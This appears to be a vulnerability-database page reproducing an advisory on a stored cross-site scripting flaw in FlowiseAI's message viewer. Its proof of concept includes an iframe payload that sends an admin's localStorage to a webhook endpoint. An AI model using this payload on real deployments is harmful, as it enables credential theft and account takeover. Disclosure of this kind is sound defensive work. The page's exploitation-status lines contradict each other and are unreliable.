Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-964p-j4gg-mhwc
No affected components available
Summary
A stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the "View Messages" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to localStorage.
Details
The vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using <iframe srcdoc="..."> can include arbitrary JavaScript, which is executed when the message is rendered.
PoC
- Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website).
- Send the following payload via the agent's chat interface:
<iframe srcdoc="<script>fetch('http://requestbin.whapi.cloud/XXXXX?d='+encodeURIComponent(JSON.stringify(localStorage)))</script>"> - As an admin, go to the workflow and click "View Messages".
- The JavaScript is executed in the admin's browser, exfiltrating
localStoragecontent to the attacker-controlled webhook endpoint.
Impact
- Type: Stored Cross-Site Scripting (XSS)
- Who is impacted: Any admin viewing messages in the FlowiseAI UI
- Data at risk: Admin credentials, or sensitive info stored in
localStorage - Severity: High (Account takeover, admin privilege escalation, full panel compromise)
Affected Products
- Ecosystem:
npm - Package name:
flowise - Affected versions:
< 2.2.7 - Patched versions:
1
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard